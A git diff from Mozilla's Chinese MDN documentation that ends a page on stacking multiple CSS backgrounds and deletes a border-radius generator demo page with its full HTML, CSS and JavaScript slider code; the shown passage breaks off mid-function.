指定多个背景很简单:

- -
.myclass {
-  background: background1, background 2, ..., backgroundN;
-}
-
- -

你既可以使用简写属性 {{ cssxref("background") }} 来设置多个背景,也可以使用除 {{ cssxref("background-color") }} 外的独立属性来设置多个背景。即下面的属性可以用属性列表来设置每一个背景: {{ cssxref("background") }},{{ cssxref("background-attachment") }},{{ cssxref("background-clip") }}, {{ cssxref("background-image") }},{{ cssxref("background-origin") }},{{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}。

- -

示例

- -

该例中,三个背景进行堆叠:火狐标志,一个线性渐变, 和一张带有花的图片:

- -
.multi_bg_example {
-  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
-        linear-gradient(to right, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
-        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
-  background-repeat: no-repeat, no-repeat, repeat;
-  background-position: bottom right, left, right;
-}
-
- - - - - - - - - - -
结果
css_multibg.png
- -

如你所见,火狐标志(列表第一项)在最上面,紧接着是放在图片上面的线性渐变。每个子属性 ({{ cssxref("background-repeat") }} 和 {{ cssxref("background-position") }}) 应用于对应的背景。因此属性 {{ cssxref("background-repeat") }} 的第一个值应用于第一个(最前面)的背景,依次可推。

- -

其它

- - - -
 
- -
 
diff --git "a/files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" "b/files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" deleted file mode 100644 index b9f50d5332..0000000000 --- "a/files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" +++ /dev/null @@ -1,1599 +0,0 @@ ---- -title: 圆角边框生成器 -slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 -translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator ---- -

使用Border-radius generator生成 CSS3 {{cssxref("border-radius")}} 样式

- -
-

border-radius

- -

HTML Content

- -
<div id="container">
-    <div class="group section">
-        <div id="preview" class="col span_12">
-            <div id="subject">
-                <div id="top-left" class="radius-container"
-                    data-X="left" data-Y="top">
-                </div>
-                <div id="top-right" class="radius-container"
-                    data-X="right" data-Y="top">
-                </div>
-                <div id="bottom-right" class="radius-container"
-                    data-X="right" data-Y="bottom">
-                </div>
-                <div id="bottom-left" class="radius-container"
-                    data-X="left" data-Y="bottom">
-                </div>
-
-                <div id="radius-ui-sliders">
-                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trr" class="ui-input-slider" data-topic="top-right"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
-                        data-unit=" px" data-sensivity="2"></div>
-                </div>
-            </div>
-        </div>
-    </div>
-    <div id="controls" class="group section">
-
-        <div class="group section">
-            <div id="dimensions">
-                <div class="ui-input-slider" data-topic="width" data-info="width"
-                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
-
-                <div class="ui-input-slider" data-topic="height" data-info="height"
-                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
-            </div>
-
-            <div id="output"></div>
-        </div>
-
-        <div class="group section">
-            <div id="radius-lock">
-                <div class="info"> rounded corner </div>
-                <div class="ui-checkbox" data-topic='top-left'></div>
-                <div class="ui-checkbox" data-topic='top-right'></div>
-                <div class="ui-checkbox" data-topic='bottom-right'></div>
-                <div class="ui-checkbox" data-topic='bottom-left'></div>
-            </div>
-
-            <div id="unit-selection">
-                <div class="info"> select border units </div>
-            </div>
-        </div>
-
-    </div>
-</div>
-
- -

CSS Content

- -
/*  GRID OF TEN
- * ========================================================================== */
-
-.span_12 {
-	width: 100%;
-}
-
-.span_11 {
-	width: 91.46%;
-}
-
-.span_10 {
-	width: 83%;
-}
-
-.span_9 {
-	width: 74.54%;
-}
-
-.span_8 {
-	width: 66.08%;
-}
-
-.span_7 {
-	width: 57.62%;
-}
-
-.span_6 {
-	width: 49.16%;
-}
-
-.span_5 {
-	width: 40.7%;
-}
-
-.span_4 {
-	width: 32.24%;
-}
-
-.span_3 {
-	width: 23.78%;
-}
-
-.span_2 {
-	width: 15.32%;
-}
-
-.span_1 {
-	width: 6.86%;
-}
-
-
-
-
-/*  SECTIONS
- * ========================================================================== */
-
-.section {
-	clear: both;
-	padding: 0px;
-	margin: 0px;
-}
-
-/*  GROUPING
- * ========================================================================== */
-
-
-.group:before, .group:after {
-    content: "";
-    display: table;
-}
-
-.group:after {
-    clear:both;
-}
-
-.group {
-    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
-}
-
-/*  GRID COLUMN SETUP
- * ========================================================================== */
-
-.col {
-	display: block;
-	float:left;
-	margin: 1% 0 1% 1.6%;
-}
-
-.col:first-child {
-	margin-left: 0;
-} /* all browsers except IE6 and lower */
-
-
-/*
- * UI Component
- */
-
-.ui-input-slider-container {
-	height: 20px;
-	margin: 10px 0;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.ui-input-slider-container * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider > input {
-	margin: 0;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-input-slider-info {
-	width: 90px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
-	width: 16px;
-	cursor: pointer;
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 5px;
-	color: #FFF;
-	font-weight: bold;
-	line-height: 14px;
-	text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-/*
- * UI Component
- */
-
-/* Checkbox */
-
-.ui-checkbox {
-	text-align: center;
-	font-size: 16px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	line-height: 1.5em;
-	color: #FFF;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-checkbox > input {
- 	display: none;
-}
-
-.ui-checkbox > label {
-	font-size: 12px;
-	padding: 0.333em 1.666em 0.5em;
-	height: 1em;
-	line-height: 1em;
-
-	background-color: #888;
-	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	color: #FFF;
-	border-radius: 3px;
-	font-weight: bold;
-	float: left;
-}
-
-.ui-checkbox .text {
-	padding-left: 34px;
-	background-position: center left 10px;
-}
-
-.ui-checkbox .left {
-	padding-right: 34px;
-	padding-left: 1.666em;
-	background-position: center right 10px;
-}
-
-.ui-checkbox > label:hover {
-	cursor: pointer;
-}
-
-.ui-checkbox > input:checked + label {
-	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
-	background-color: #379B4A;
-}
-
-body {
-	max-width: 1000px;
-	margin: 0 auto;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-#container {
-	width: 100%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/******************************************************************************/
-/******************************************************************************/
-/*
- * Preview Area
- */
-
-#preview {
-	height: 500px;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-	overflow: hidden;
-	position: relative;
-}
-
-#preview .content {
-	width: 100%;
-	height: 100%;
-	display: block;
-}
-
-#preview input {
-	color: #333;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-}
-
-#subject {
-	width: 400px;
-	height: 150px;
-	margin: 0 auto;
-	border: 3px solid #C60;
-	background: #FFF;
-	position: relative;
-}
-
-.radius {
-	width: 50%;
-	height: 50%;
-	border: 1px solid #CCC;
-	display: none;
-	position: absolute;
-	z-index: 1;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.handle {
-	width: 16px;
-	height: 16px;
-	position: absolute;
-	z-index: 2;
-}
-
-.handle-top-left {
-	top: -12px;
-	left: -12px;
-	cursor: se-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
-}
-
-.handle-top-right {
-	top: -12px;
-	right: -12px;
-	cursor: sw-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
-}
-
-.handle-bottom-right {
-	bottom: -12px;
-	right: -12px;
-	cursor: nw-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
-}
-
-.handle-bottom-left {
-	bottom: -12px;
-	left: -12px;
-	cursor: ne-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
-}
-
-
-.radius-container {
-	position: absolute;
-	display : block;
-	z-index: 1;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/* TOP LEFT */
-#top-left {
-	top: 0;
-	left: 0;
-}
-
-#top-left .radius {
-	border-top-left-radius: 100%;
-	top: 0;
-	left: 0;
-}
-
-/* TOP RIGHT */
-#top-right {
-	top: 0;
-	right: 0;
-}
-
-#top-right .radius {
-	border-top-right-radius: 100%;
-	top: 0;
-	right: 0;
-}
-
-/* BOTTOM RIGHT */
-#bottom-right {
-	bottom: 0;
-	right: 0;
-}
-
-#bottom-right .radius {
-	border-bottom-right-radius: 100%;
-	bottom: 0;
-	right: 0;
-}
-
-/* BOTTOM lEFT */
-#bottom-left {
-	bottom: 0;
-	left: 0;
-}
-
-#bottom-left .radius {
-	border-bottom-left-radius: 100%;
-	bottom: 0;
-}
-
-/* INPUT SLIDERS */
-
-#preview .ui-input-slider {
-	margin: 10px;
-	position: absolute;
-	z-index: 10;
-}
-
-#radius-ui-sliders {
-	width: 100%;
-	height: 100%;
-	min-height: 75px;
-	min-width: 150px;
-	padding: 20px 50px;
-	top: -20px;
-	left: -50px;
-	position: relative;
-}
-
-#tlr {
-	top: -30px;
-	left: -50px;
-	display: none;
-}
-
-#tlw {
-	top: -30px;
-	left: 30px;
-}
-
-#tlh {
-	top: 20px;
-	left: -50px;
-}
-
-#trr {
-	top: -30px;
-	right: -50px;
-	display: none;
-}
-
-#trw {
-	top: -30px;
-	right: 30px;
-}
-
-#trh {
-	top: 20px;
-	right: -50px;
-}
-
-#brr {
-	bottom: -30px;
-	right: -50px;
-	display: none;
-}
-
-#brw {
-	bottom: -30px;
-	right: 30px;
-}
-
-#brh {
-	bottom: 20px;
-	right: -50px;
-}
-
-#blr {
-	bottom: -30px;
-	left: -50px;
-	display: none;
-}
-
-#blw {
-	bottom: -30px;
-	left: 30px;
-}
-
-#blh {
-	bottom: 20px;
-	left: -50px;
-}
-
-#preview .ui-input-slider-left, #preview .ui-input-slider-right {
-	visibility: hidden;
-}
-
-#preview .ui-input-slider-container:hover .ui-input-slider-left {
-	visibility: visible;
-}
-
-#preview .ui-input-slider-container:hover .ui-input-slider-right {
-	visibility: visible;
-}
-
-/*
- *
- */
-
-#unit-selection {
-	width: 200px;
-	height: 75px;
-	margin: 30px 30px 0 0;
-	padding: 30px;
-	border: 3px solid #555;
-	border-radius: 10px;
-	position: relative;
-	float: right;
-}
-
-#unit-selection .info {
-	height: 20%;
-	width: 100%;
-	line-height: 20%;
-	font-size: 20px;
-	text-align: center;
-	position: relative;
-	top: 40%;
-}
-
-#unit-selection .dropdown {
-	width: 50px;
-	height: 20px;
-	margin: 10px;
-	padding: 0;
-	border-radius: 3px;
-	position: absolute;
-	overflow: hidden;
-}
-
-#unit-selection select {
-	width: 50px;
-	height: 20px;
-	marign: 0;
-	padding: 0 0 0 10px;
-	background: #555;
-	border: 1px solid #555;
-	border: none;
-	color: #FFF;
-	float: left;
-}
-
-#unit-selection select option {
-	background: #FFF;
-	color: #333;
-}
-
-#unit-selection select:hover {
-	cursor: pointer;
-}
-
-#unit-selection .dropdown:before {
-	content: "";
-	width: 18px;
-	height: 20px;
-	display: block;
-	background-color: #555;
-	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	top: 0px;
-	right: 0px;
-	position: absolute;
-	z-index: 1;
-	pointer-events: none;
-}
-
-#unit-selection .unit-top-left {
-	top: 0;
-	left: 0;
-	display: none;
-}
-
-#unit-selection .unit-top-left-w {
-	top: -22px;
-	left: 30px;
-}
-
-#unit-selection .unit-top-left-h {
-	top: 20px;
-	left: -37px;
-}
-
-#unit-selection .unit-top-right {
-	top: 0;
-	right: 0;
-	display: none;
-}
-
-#unit-selection .unit-top-right-w {
-	top: -22px;
-	right: 30px;
-}
-
-#unit-selection .unit-top-right-h {
-	top: 20px;
-	right: -37px;
-}
-
-#unit-selection .unit-bottom-right {
-	bottom: 0;
-	right: 0;
-	display: none;
-}
-
-#unit-selection .unit-bottom-right-w {
-	bottom: -22px;
-	right: 30px;
-}
-
-#unit-selection .unit-bottom-right-h {
-	bottom: 20px;
-	right: -37px;
-}
-
-#unit-selection .unit-bottom-left {
-	bottom: 0;
-	left: 0;
-	display: none;
-}
-
-#unit-selection .unit-bottom-left-w {
-	bottom: -22px;
-	left: 30px;
-}
-
-#unit-selection .unit-bottom-left-h {
-	bottom: 20px;
-	left: -37px;
-}
-
-/******************************************************************************/
-/******************************************************************************/
-
-
-#radius-lock {
-	width: 200px;
-	height: 75px;
-	margin: 30px 0 0 30px;
-	padding: 30px;
-	border: 3px solid #555;
-	border-radius: 10px;
-	position: relative;
-	float: left;
-}
-
-#radius-lock .ui-checkbox {
-	color: #FFF;
-	position: absolute;
-}
-
-#radius-lock .ui-checkbox > label {
-	height: 20px;
-	width: 34px;
-	padding: 0;
-}
-
-#radius-lock .info {
-	height: 20%;
-	width: 100%;
-	line-height: 20%;
-	font-size: 20px;
-	text-align: center;
-	position: relative;
-	top: 40%;
-}
-
-#radius-lock [data-topic="top-left"] {
-	top: 10px;
-	left: 10px;
-}
-
-#radius-lock [data-topic="top-right"] {
-	top: 10px;
-	right: 10px;
-}
-
-#radius-lock [data-topic="bottom-right"] {
-	bottom: 10px;
-	right: 10px;
-}
-
-#radius-lock [data-topic="bottom-left"] {
-	bottom: 10px;
-	left: 10px;
-}
-
-/**
- * Controls
- */
-
-#dimensions {
-	width: 200px;
-	color: #444;
-	float:left;
-}
-
-#dimensions input {
-	background: #555;
-	color: #FFF;
-	border: none;
-	border-radius: 3px;
-}
-
-#output {
-	width: 500px;
-	padding: 10px 0;
-	margin: 10px 0;
-	color: #555;
-	text-align: center;
-	border: 1px dashed #999;
-	border-radius: 3px;
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-	user-select: text;
-
-	float: right;
-}
-
-
-
- -

JavaScript Content

- -
'use strict';
-
-
-/**
- * UI-InputSliderManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var InputComponent = function InputComponent(obj) {
-		var input = document.createElement('input');
-		input.setAttribute('type', 'text');
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			var value = parseInt(e.target.value);
-
-			if (isNaN(value) === true)
-				setValue(obj.topic, obj.value);
-			else
-				setValue(obj.topic, value);
-		});
-
-		subscribe(obj.topic, function(value) {
-			input.value = value + obj.unit;
-		});
-
-		return input;
-	}
-
-	var SliderComponent = function SliderComponent(obj, sign) {
-		var slider = document.createElement('div');
-		var startX = null;
-		var start_value = 0;
-
-		slider.addEventListener("click", function(e) {
-			setValue(obj.topic, obj.value + obj.step * sign);
-		});
-
-		slider.addEventListener("mousedown", function(e) {
-			startX = e.clientX;
-			start_value = obj.value;
-			document.body.style.cursor = "e-resize";
-			document.addEventListener("mousemove", sliderMotion);
-		});
-
-		document.addEventListener("mouseup", function(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			document.body.style.cursor = "auto";
-			slider.style.cursor = "pointer";
-		});
-
-		var sliderMotion = function sliderMotion(e) {
-			slider.style.cursor = "e-resize";
-			var delta = (e.clientX - startX) / obj.sensivity | 0;
-			var value = delta * obj.step + start_value;
-			setValue(obj.topic, value);
-		}
-
-		return slider;
-	}
-
-	var InputSlider = function(node) {
-		var min		= node.getAttribute('data-min') | 0;
-		var max		= node.getAttribute('data-max') | 0;
-		var step	= node.getAttribute('data-step') | 0;
-		var value	= node.getAttribute('data-value') | 0;
-		var topic	= node.getAttribute('data-topic');
-		var unit	= node.getAttribute('data-unit');
-		var name 	= node.getAttribute('data-info');
-		var sensivity = node.getAttribute('data-sensivity') | 0;
-
-		this.min = min;
-		this.max = max > 0 ? max : 100;
-		this.step = step === 0 ? 1 : step;
-		this.topic = topic;
-		this.node = node;
-		this.unit = unit;
-		this.sensivity = sensivity > 0 ? sensivity : 5;
-
-		var input = new InputComponent(this);
-		var slider_left  = new SliderComponent(this, -1);
-		var slider_right = new SliderComponent(this,  1);
-
-		slider_left.className = 'ui-input-slider-left';
-		slider_right.className = 'ui-input-slider-right';
-
-		if (name) {
-			var info = document.createElement('span');
-			info.className = 'ui-input-slider-info';
-			info.textContent = name;
-			node.appendChild(info);
-		}
-
-		node.appendChild(slider_left);
-		node.appendChild(input);
-		node.appendChild(slider_right);
-		node.className = 'ui-input-slider ui-input-slider-container';
-
-		this.input = input;
-		sliders[topic] = this;
-		setValue(topic, value);
-	}
-
-	var setValue = function setValue(topic, value, send_notify) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		if (value > slider.max) value = slider.max;
-		if (value < slider.min)	value = slider.min;
-
-		slider.value = value;
-		slider.node.setAttribute('data-value', value);
-
-		if (send_notify !== undefined && send_notify === false) {
-			slider.input.value = value + slider.unit;
-			return;
-		}
-
-		notify.call(slider);
-	}
-
-	var setMax = function setMax(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.max = value;
-		setValue(topic, slider.value);
-	}
-
-	var setMin = function setMin(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.min = value;
-		setValue(topic, slider.value);
-	}
-
-	var setUnit = function setUnit(topic, unit) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.unit = unit;
-		setValue(topic, slider.value);
-	}
-
-	var getNode =  function getNode(topic) {
-		return sliders[topic].node;
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		for (var i in subscribers[this.topic]) {
-			subscribers[this.topic][i](this.value);
-		}
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-input-slider');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new InputSlider(elem[i]);
-	}
-
-	return {
-		init : init,
-		setMax : setMax,
-		setMin : setMin,
-		setUnit : setUnit,
-		getNode : getNode,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-/**
- * UI-ButtonManager
- */
-
-var ButtonManager = (function CheckBoxManager() {
-
-	var subscribers = [];
-	var buttons = [];
-
-	var CheckBox = function CheckBox(node) {
-		var topic = node.getAttribute('data-topic');
-		var state = node.getAttribute('data-state');
-		var name = node.getAttribute('data-label');
-		var align = node.getAttribute('data-text-on');
-
-		state = (state === "true");
-
-		var checkbox = document.createElement("input");
-		var label = document.createElement("label");
-
-		var id = 'checkbox-' + topic;
-		checkbox.id = id;
-		checkbox.setAttribute('type', 'checkbox');
-		checkbox.checked = state;
-
-		label.setAttribute('for', id);
-		if (name) {
-			label.className = 'text';
-			if (align)
-				label.className += ' ' + align;
-			label.textContent = name;
-		}
-
-		node.appendChild(checkbox);
-		node.appendChild(label);
-
-		this.node = node;
-		this.topic = topic;
-		this.checkbox = checkbox;
-
-		checkbox.addEventListener('change', function(e) {
-			notify.call(this);
-		}.bind(this));
-
-		buttons[topic] = this;
-	}
-
-	var getNode =  function getNode(topic) {
-		return buttons[topic].node;
-	}
-
-	var setValue = function setValue(topic, value) {
-		try {
-			buttons[topic].checkbox.checked = value;
-		}
-		catch(error) {
-			console.log(error);
-		}
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.checkbox.checked);
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-checkbox');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new CheckBox(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-
-window.addEventListener("load", function() {
-	BorderRadius.init();
-});
-
-var BorderRadius = (function BorderRadius() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	/**
-	 * Shadow dragging
-	 */
-	var PreviewMouseTracking = (function Drag() {
-		var active = false;
-		var lastX = 0;
-		var lastY = 0;
-		var subscribers = [];
-
-		var init = function init(id) {
-			var elem = getElemById(id);
-			elem.addEventListener('mousedown', dragStart, false);
-			document.addEventListener('mouseup', dragEnd, false);
-		}
-
-		var dragStart = function dragStart(e) {
-			if (e.button !== 0)
-				return;
-
-			active = true;
-			lastX = e.clientX;
-			lastY = e.clientY;
-			document.addEventListener('mousemove', mouseDrag, false);
-		}
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0)
-				return;
-
-			if (active === true) {
-				active = false;
-				document.removeEventListener('mousemove', mouseDrag, false);
-			}
-		}
-
-		var mouseDrag = function mouseDrag(e) {
-			notify(e.clientX - lastX, e.clientY - lastY);
-			lastX = e.clientX;
-			lastY = e.clientY;
-		}
-
-		var subscribe = function subscribe(callback) {
-			subscribers.push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			var index = subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(deltaX, deltaY) {
-			for (var i in subscribers)
-				subscribers[i](deltaX, deltaY);
-		}
-
-		return {
-			init : init,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	var subject;
-	var units = ['px', '%'];
-	var output = null;
-
-	var UnitSelector = function UnitSelector(topic) {
-
-		this.container = document.createElement("div");
-		this.select = document.createElement("select");
-		for (var i in units) {
-			var option = document.createElement("option");
-			option.value = i;
-			option.textContent = units[i];
-			this.select.appendChild(option);
-		}
-
-		this.container.className = 'dropdown ' + 'unit-' + topic;
-		this.container.appendChild(this.select);
-	}
-
-	UnitSelector.prototype.setValue = function setValue(value) {
-		this.salect.value = value;
-	}
-
-
-	var RadiusContainer = function RadiusContainer(node) {
-		var radius = document.createElement('div');
-		var handle = document.createElement('div');
-		var x = node.getAttribute('data-x');
-		var y = node.getAttribute('data-y');
-		var active = false;
-
-		this.id = node.id;
-		this.node = node;
-		this.radius = radius;
-		this.handle = handle;
-		this.width = 100;
-		this.height = 50;
-		this.size = 0;
-		this.rounded = false;
-
-		this.unitX = 0;
-		this.unitY = 0;
-		this.unitR = 0;
-
-		this.maxW = 100;
-		this.maxH = 100;
-		this.maxR = 100;
-
-		this.topic = y + '-' + x;
-
-		var sliderW = InputSliderManager.getNode(this.topic + '-w');
-		var sliderH = InputSliderManager.getNode(this.topic + '-h');
-		var sliderR = InputSliderManager.getNode(this.topic);
-
-		this.setUnitX(this.unitX);
-		this.setUnitY(this.unitY);
-		this.setUnitR(this.unitR);
-
-		this.updateWidth();
-		this.updateHeight();
-		this.updateRadius();
-
-		if (x === 'left')	this.resizeX =  1;
-		if (x === 'right')	this.resizeX = -1;
-		if (y === 'top')	this.resizeY =  1;
-		if (y === 'bottom')	this.resizeY = -1;
-
-		radius.className = 'radius';
-
-		var unit_selector = document.getElementById("unit-selection");
-		var unitW = new UnitSelector(this.topic + '-w');
-		var unitH = new UnitSelector(this.topic + '-h');
-		var unitR = new UnitSelector(this.topic);
-
-		unit_selector.appendChild(unitW.container);
-		unit_selector.appendChild(unitH.container);
-		unit_selector.appendChild(unitR.container);
-		node.appendChild(radius);
-		subject.appendChild(handle);
-
-		unitW.select.addEventListener('change', function(e) {
-			this.setUnitX(e.target.value | 0);
-		}.bind(this));
-
-		unitH.select.addEventListener('change', function(e) {
-			this.setUnitY(e.target.value | 0);
-		}.bind(this));
-
-		unitR.select.addEventListener('change', function(e) {
-			this.setUnitR(e.target.value | 0);
-		}.bind(this));
-
-		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
-		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
-		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
-		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
-
-		handle.addEventListener("mousedown", function(e) {
-			active = true;
-			this.radius.style.display = 'block';
-			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
-		}.bind(this));
-
-		document.addEventListener("mouseup", function(e) {
-			this.radius.style.display = 'none';
-			if (active === true)
-				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
-		}.bind(this));
-
-		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
-		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
-		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
-
-		ButtonManager.subscribe(this.topic, function(value) {
-			this.rounded = value;
-			if (value === true) {
-				unitW.container.style.display = 'none';
-				unitH.container.style.display = 'none';
-				unitR.container.style.display = 'block';
-				sliderW.style.display = 'none';
-				sliderH.style.display = 'none';
-				sliderR.style.display = 'block';
-				this.setUnitR(this.unitR);
-				this.updateRadius();
-			}
-
-			if (value === false) {
-				unitW.container.style.display = 'block';
-				unitH.container.style.display = 'block';
-				unitR.container.style.display = 'none';
-				sliderW.style.display = 'block';
-				sliderH.style.display = 'block';
-				sliderR.style.display = 'none';
-				this.setUnitX(this.unitX);
-				this.setUnitY(this.unitY);
-				this.updateWidth();
-				this.updateHeight();
-			}
-
-			this.updateBorderRadius();
-
-		}.bind(this));
-
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.updateWidth = function updateWidth() {
-		this.node.style.width = this.width + units[this.unitX];
-		var value = Math.round(this.width / 2);
-		InputSliderManager.setValue(this.topic + '-w', value, false);
-	}
-
-	RadiusContainer.prototype.updateHeight = function updateHeight() {
-		this.node.style.height = this.height + units[this.unitY];
-		var value = Math.round(this.height / 2);
-		InputSliderManager.setValue(this.topic + '-h', value, false);
-	}
-
-	RadiusContainer.prototype.updateRadius = function updateRadius() {
-		var value = Math.round(this.size / 2);
-		this.node.style.width = this.size + units[this.unitR];
-		this.node.style.height = this.size + units[this.unitR];
-		InputSliderManager.setValue(this.topic, value, false);
-	}
-
-	RadiusContainer.prototype.setWidth = function setWidth(value) {
-		this.radius.style.display = 'block';
-		this.width = 2 * value;
-		this.node.style.width = this.width + units[this.unitX];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setHeight = function setHeight(value) {
-		this.radius.style.display = 'block';
-		this.height = 2 * value;
-		this.node.style.height = this.height + units[this.unitY];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setRadius = function setRadius(value) {
-		this.radius.style.display = 'block';
-		this.size = 2 * value;
-		this.node.style.width = this.size + units[this.unitR];
